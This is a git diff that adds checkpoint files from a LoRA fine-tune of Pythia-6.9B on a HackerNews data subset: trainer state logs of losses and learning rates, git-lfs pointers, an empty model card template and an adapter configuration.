"eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.68461815267328e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..d959f67a2fd0803e613b4125ae25e8d3d98125ea --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:660f9abf961d69e31686019a9e8e9c9b4f6d0e073d6b6116a4fa9e1a6ed91ee2 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..888f8440e9f46d4fe042edfa02e51ae0234a8dab --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:49d5c5008c3f66e8058fff1614b8683061f190b6da9c869bbc920800b0338f30 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..8d48caf21e655a01d7675a2b465c934cea676943 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:816bfad4f86e01da7fe3bd5bf7d10c902cf135a5b5fec9e0170158290fe5828c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..4191ea1c11397f76dbbb9677283fd3b541b6e689 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:61e7bf31ab25b6a7b2f0902a2e1f6ca5545ad296580f627246378508da64fa41 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a75acc7cb42bb9e6e76226738cbc54fbd953e300 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/trainer_state.json @@ -0,0 +1,843 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.2, + "eval_steps": 10, + "global_step": 540, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 